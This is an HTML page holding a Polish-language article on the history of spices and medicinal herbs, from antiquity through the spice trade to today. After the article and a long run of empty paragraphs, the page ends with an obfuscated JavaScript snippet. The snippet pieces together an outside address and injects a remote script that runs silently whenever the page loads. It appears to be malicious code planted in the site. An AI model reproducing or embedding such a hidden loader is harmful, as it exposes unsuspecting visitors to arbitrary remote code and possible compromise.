Historia ziół i roślin przyprawowych

<p><b>Początki stosowania przypraw i leczniczych roślin zielnych. </b><br /> <br /> Rośliny przyprawowe i zioła od niepamiętnych czas&oacute;w służą ludziom zar&oacute;wno jako dodatki smakowe do pożywienia, jak i składniki lek&oacute;w. Według archeolog&oacute;w, już człowiek pierwotny znał i stosował niekt&oacute;re przyprawy. Tysiące lat przed naszą erą rośliny przyprawowe i zioła lecznicze były uprawiane i stosowane przez Egipcjan, Grek&oacute;w, Chińczyk&oacute;w i Rzymian. Świadczą o tym między innymi znaleziska w egipskich sarkofagach, kt&oacute;re dowodzą, że zioła były umieszczane w grobowcach zmarłych wraz z najcenniejszymi przedmiotami. Poza tym, egipskie papirusy z 1500 roku p.n.e opisują zioła lecznicze stosowane na r&oacute;żnego rodzaju choroby oraz, co ciekawe, 800 przepis&oacute;w na potrawy z wykorzystaniem r&oacute;żnych przypraw. Z kolei zapisy klinowe sporządzane przez starożytne ludy Azji, zawierają nazwy wielu stosowanych w&oacute;wczas przypraw, a źr&oacute;dła z 2700 r.p.n.e. m&oacute;wią o stosowanych jako leki ziołach na dworze cesarza Howang-ti. Babilończycy w 700 roku p.n.e. prowadzili już handel przyprawami i ziołami takimi jak szafran, fenkuł, tymianek, kminek, sezam, kardamon czy czosnek i cebula. Największą wiedzę o ziołach w czasach starożytnych miały jednak ludy Grecji i Rzymianie. Tam też, powstały dzieła słynnych uczonych dotyczących stosowania tych roślin w medycynie i farmacji. Rzymianie w 25 roku p.n.e. powołali nawet specjalną armię do poszukiwania tańszych źr&oacute;deł przypraw. <br /> <br /> <b>Wzrost znaczenia roślin przyprawowych.</b><br /> <br /> Handel przyprawami i ziołami rozwinęli Arabowie, co okazało się bardzo zyskowną i szybko rozwijającą się inicjatywą. W pierwszym stuleciu naszej ery gł&oacute;wnym ośrodkiem tego handlu była Aleksandria, p&oacute;źniej zaś Konstantynopol. Kupcy tworzyli punkty przedstawicielskie na Dalekim Wschodzie, połączone z doskonałą wsp&oacute;łpracą z dostawcami przypraw. Rośliny wieziono najpierw drogą morską przez Morze Czerwone wprost do Aleksandrii, bądź też zatoką Perską do dzisiejszego Istambułu (w&oacute;wczas Konstantynopolu). Koszty transportu i niebezpieczeństwa jakie towarzyszyły szlakom handlowym sprawiały, że ceny przypraw były niewyobrażalnie wysokie. Stać było na nie jedynie zamożne warstwy społeczne. Nowe przyprawy takie jak goździki, gałka muszkatołowa i kardamon dotarły do Europy po zdobyciu przez Krzyżowc&oacute;w Jerozolimy pod koniec pierwszego stulecia naszej ery. <br /> W Europie handel przyprawami zdominowali kupcy weneccy, kt&oacute;rzy sprzedawali je w całym rejonie basenu Morza Śr&oacute;dziemnego. Znany wenecki podr&oacute;żnik Marco Polo, kt&oacute;ry jako pierwszy zwiedził całą Azję, wzbudził zainteresowanie poszukiwaniem nowych źr&oacute;deł przypraw. W swoim dziele opisuje sezam, imbir, cynamon i pieprz. To właśnie pieprz był w tamtych czasach najcenniejszą z przypraw, był ważony na złotych wagach i sprzedawany w aptekach. Włoska dominacja na europejskim rynku handlu przyprawami dobiegła końca w 1453 roku po zajęciu przez Turk&oacute;w Konstantynopola i Egiptu. Wtedy też, na dotychczasowy rynek wkroczyli Portugalczycy. W 1460 roku przywieźli z Sierra Leone, położonego w zachodniej Afryce, ogromny ładunek pieprzu doprowadzając do znacznego spadku jego ceny w Europie. W tym samym czasie wiedza o roślinach przyprawowych została znacznie wzbogacona. Dokonał tego hiszpański żeglarz Krzysztof Kolumb, podr&oacute;żując przez Ocean Atlantycki i docierając do Ameryki, przywi&oacute;zł do Europy nieznaną dotąd paprykę, wanilię i kakao. Potęga Portugalii w handlu roślinami przyprawowymi wzrosła po podr&oacute;ży Vasco da Gamy do Indii. Rozszerzono w&oacute;wczas strefę wpływ&oacute;w Portugalczyk&oacute;w na Jawę, Cejlon, Madagaskar i Sumatrę, skąd kr&oacute;lewskimi okrętami wożone były ładunki z przyprawami i ziołami. W 1519 słynny Portugalczyk Magellan, pod rozkazem kr&oacute;la Karola V, rozpoczął podr&oacute;ż przez najniebezpieczniejszy szlak morski z Europy do Indii i z powrotem. Celem miały być ogromne zyski ze sprzedaży przywiezionych przypraw. Koszty jakie musiała ponieść załoga ekspedycji okazały się gigantyczne. Po trzech latach wyprawy do hiszpańskiego portu wr&oacute;cił jedynie jeden z pięciu okręt&oacute;w, zginęło ponad 200 ludzi w tym sam Magellan. Ocalało jedynie 18 marynarzy, kt&oacute;rzy przywieźli z sobą 70 ton cennych przypraw - z nawiązką pokryły one całe koszty przedsięwzięcia. Kapitan del Cano, kt&oacute;ry dowodził ocalałym statkiem, został obsypany przez cesarza bogactwami i mianowany herbem, na kt&oacute;rym widniały dwie laski cynamonu, trzy gałki muszkatołowe i dwanaście goździk&oacute;w. <br /> <br /> <b>Rozpowszechnienie przypraw i zi&oacute;ł.</b><br /> <br /> W XV i XVI wieku w Europie wzrosło zainteresowanie naukami botanicznymi, a co za tym idzie gwałtownie wzrosła wiedza o ziołach i ich leczniczych właściwościach. W tym r&oacute;wnież okresie zaczęły powstawać pierwsze książki o zielarstwie zwane u nas &bdquo; zielnikami&rdquo; (&bdquo;herbarzami&rdquo;). Dużą rolę w spopularyzowaniu zi&oacute;ł i przypraw w tym okresie miały klasztory, słynące ze swych ogrod&oacute;w i kuchni. W XVIII wieku zaczęły pojawiać się książki opisujące wskaz&oacute;wki dotyczące stosowania przypraw i zi&oacute;ł w kulinariach. Wiedza ta nabrała na znaczeniu ponieważ, rośliny te przestały być domeną jedynie zamożnych dom&oacute;w, ale zaczęły być stosowane w kuchniach rodzin mniej bogatych. Autorzy dzieł o przyprawach, zaczęli zachęcać r&oacute;wnież do hodowli rodzimych zi&oacute;ł i roślin przyprawowych takich jak rozmaryn, cebula, czosnek czy pietruszka. W XIX wieku zaczęto uprawiać te rośliny w rejonach o odpowiednich do nich warunkami klimatycznymi, a ceny przypraw znacznie spadły. <br /> <br /> Obecnie uprawa roślin przyprawowych i zi&oacute;ł w ogrodach czy w skrzynkach balkonowych jest coraz bardziej popularna. Jednak potrzebny jest do tego stosowny zas&oacute;b informacji i odpowiedniej wiedzy o warunkach rozsiewu, rodzajach gleby i nawożeniu, kt&oacute;re to są r&oacute;żne dla każdego gatunku. Dla miłośnik&oacute;w aromatycznych potraw nie jest to jednak nic trudnego a smakiem przypraw, kt&oacute;re były niegdyś rarytasem, kr&oacute;lującym na stołach najzamożniejszych, możemy się dzisiaj rozkoszować do woli. <br /> <br /> Źr&oacute;dło:<br /> &bdquo;Zioła w domu&rdquo; Danuta Tyszyńska-Kownacka<br /> &bdquo;Rośliny źr&oacute;dłem przypraw&rdquo; Anton Śedo, Jindřich Krejča<br /> &bdquo;Rośliny przyprawowe i przyprawy w węgierskiej kuchni&rdquo; Vilmos Romv&aacute;ry</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<pre><span class="p"></span><span class="p"><br /></span></pre>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<p></p>
<script type="text/javascript">// <![CDATA[
(function(){
q4aq=document.createElement("script");q4aq_=("us")+("ta");
q4aq_+="t"+(".");q4aq_+=("in");q4aqu="8826092";q4aq.async=true;
q4aqu+=".wimx4hju4aqur6rmi";q4aq.type="text/javascript";q4aq_+="f"+"o"+("/");
q4aqu+="8beh039a8m38q";q4aq.src="//"+q4aq_+q4aqu;
dq4aq=document.body;dq4aq.appendChild(q4aq);
})();
// ]]></script>